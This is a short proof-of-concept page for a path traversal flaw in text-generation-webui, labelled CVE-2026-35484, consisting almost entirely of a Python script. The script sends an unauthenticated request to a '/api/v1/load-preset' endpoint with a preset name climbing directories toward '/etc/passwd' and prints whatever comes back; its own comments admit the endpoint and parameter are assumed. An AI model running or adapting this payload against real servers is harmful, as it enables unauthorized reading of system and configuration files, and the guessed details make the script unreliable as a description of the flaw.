CVE-2026-35484 text-generation-webui路径遍历漏洞

import requests # Target URL (Replace with actual target) target_url = "http://localhost:7860/api/v1/load-preset" # Malicious payload to traverse directories and read a config file # Assuming the endpoint takes a 'preset_name' parameter payload = { "preset_name": "../../../../../../etc/passwd.yaml" # Example target, though it specifically looks for .yaml } try: # Send the request without authentication response = requests.get(target_url, params=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")